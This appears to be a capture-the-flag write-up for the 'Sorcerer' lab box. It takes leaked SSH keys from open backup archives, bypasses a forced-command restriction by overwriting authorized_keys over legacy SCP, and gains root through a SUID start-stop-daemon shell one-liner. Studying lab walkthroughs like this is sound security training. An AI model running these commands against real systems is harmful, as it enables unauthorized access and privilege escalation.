# Sorcerer Writeup - Proving Grounds

> Intermediate Linux box where a public backup archive leaks an SSH key restricted by a forced command, bypassed via legacy SCP for a shell as max, then escalated to root through a SUID start-stop-daemon binary.

- **URL:** https://hackindex.io/writeups/sorcerer
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** information-disclosure, ssh, privilege-escalation, suid, gtfobins
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Sorcerer exposes a login-protected web app on an unusual port whose public backup archives leak an SSH private key locked down by a forced-command restriction in `authorized_keys`. Bypassing that restriction with legacy SCP gives a shell as `max`, and a SUID `start-stop-daemon` binary hands over root.

## Reconnaissance

### Nmap

Scan all ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH
# 80/tcp   open  http    nginx
# 111/tcp  open  rpcbind
# 2049/tcp open  nfs     (no exports available)
# 7742/tcp open  http    nginx (login-protected)
# 8080/tcp open  http    Apache Tomcat
```

SSH, two HTTP services, rpcbind, and an NFS export with nothing shared. Port 7742 is login-protected, so brute force its directories.

### Web enumeration on port 7742

Brute force directories.

```bash
gobuster dir -u http://$TARGET_IP:7742 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
# /default/    (Status: 200)  default page
# /zipfiles/   (Status: 200)  directory listing
```

`/zipfiles/` is an open directory listing user backup archives.

### Backup archive disclosure

List the directory.

```bash
curl http://$TARGET_IP:7742/zipfiles/
# francis.zip
# max.zip
# miriam.zip
# sofia.zip
```

Download and extract `max.zip`.

```bash
wget http://$TARGET_IP:7742/zipfiles/max.zip
unzip max.zip
# home/max/.ssh/id_rsa
# home/max/.ssh/authorized_keys
```

The archive holds max’s passphrase-less SSH private key and an `authorized_keys` entry restricted with a forced command.

```
no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,command="/home/max/scp_wrapper.sh" ssh-rsa AAAA...== max@sorcerer
```

The `command=` directive forces every SSH session through `scp_wrapper.sh`, blocking an interactive shell.

## Exploitation

### SCP command-restriction bypass

SCP operations still pass through the wrapper, so overwrite `authorized_keys` itself to drop the restriction. Strip the forced-command prefix locally first.

```bash
chmod 600 id_rsa
sed -i 's/^.*ssh-rsa/ssh-rsa/' authorized_keys
```

Upload the stripped file using the legacy SCP protocol, which the wrapper still permits.

```bash
scp -O -i id_rsa authorized_keys max@$TARGET_IP:/home/max/.ssh/authorized_keys
# authorized_keys    100%  410   1.2KB/s   00:00
```

The restriction is gone. SSH in directly.

```bash
ssh -i id_rsa max@$TARGET_IP
# max@sorcerer:~$ id
# uid=1003(max) gid=1003(max) groups=1003(max)
```

Full shell as `max`. `local.txt` sits in `/home/dennis/local.txt`. A leftover backup file in the home directory also leaks Tomcat Manager credentials, though they lead nowhere further since the path to root runs through a SUID binary instead.

```bash
cat ~/tomcat-users.xml.bak
# <user username="tomcat" password="$TOMCAT_PASSWORD" roles="manager-gui"/>
```

## Privilege Escalation

### SUID start-stop-daemon (GTFOBins)

Search for SUID binaries.

```bash
find / -perm -4000 -type f 2>/dev/null
# /usr/sbin/start-stop-daemon
# /usr/bin/sudo
# /usr/bin/su
```

`start-stop-daemon` is SUID. Per [GTFOBins](https://gtfobins.github.io/gtfobins/start-stop-daemon/), it can start an arbitrary program while preserving the effective UID.

```bash
/usr/sbin/start-stop-daemon -n foo -S -x /bin/sh -- -p
# # id
# uid=1003(max) gid=1003(max) euid=0(root) groups=1003(max)
```

The preserved effective UID gives a root shell.

Related

## References

- [GTFOBins - start-stop-daemon](https://gtfobins.github.io/gtfobins/start-stop-daemon/) - start-stop-daemon GTFOBins entry: spawning a privileged shell from a SUID binary.